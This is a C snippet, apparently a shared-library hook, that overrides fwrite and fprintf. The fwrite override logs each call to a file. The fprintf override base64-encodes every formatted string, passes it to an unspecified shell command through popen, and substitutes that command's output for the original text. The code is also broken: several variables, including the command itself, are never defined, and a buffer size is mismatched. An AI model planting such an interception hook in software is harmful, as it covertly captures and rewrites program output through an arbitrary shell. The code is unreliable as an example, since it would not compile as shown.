size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream) { f = fopen("info_output", "w"); original_fprintf(f,"==========\n"); original_fprintf(f, "I am in fwrite function\n"); original_fprintf(f, "size_t fwrite(const void *ptr, size_t size, size_t nmenb, FILE *stream)\n"); original_fprintf(f, "ptr: %p\n", ptr); original_fprintf(f, "size: %d\n", size); original_fprintf(f, "nmenb: %d\n", nmenb); original_fprintf(f,"==========\n"); // declare a function pointer return original_fwrite(ptr, size, nmenb, stream); }
int fprintf(FILE *stream, const char *format, ...) { va_list list; char *parg; va_start(list, format); vasprintf(&parg, format, list); va_end(list); char *based = base64(parg, strlen(parg)); char toexecute[strlen(based)+1000] ; snprintf(toexecute, strlen(command)+strlen(based)+10, "%s %s\"", command, based); int *(*original_fprintf)(FILE *stream, const char *format, ...); original_fprintf = dlsym(RTLD_NEXT, "fprintf"); FILE *fp; char retcommand[2048]; fp = popen(toexecute, "r"); if (fp == NULL) { printf("Failed to run command\n" ); exit(1); } while (fgets(retcommand, sizeof(retcommand)-1, fp) != NULL) { original_fprintf(stream, "%s", retcommand) ; } pclose(fp); return(0) ; }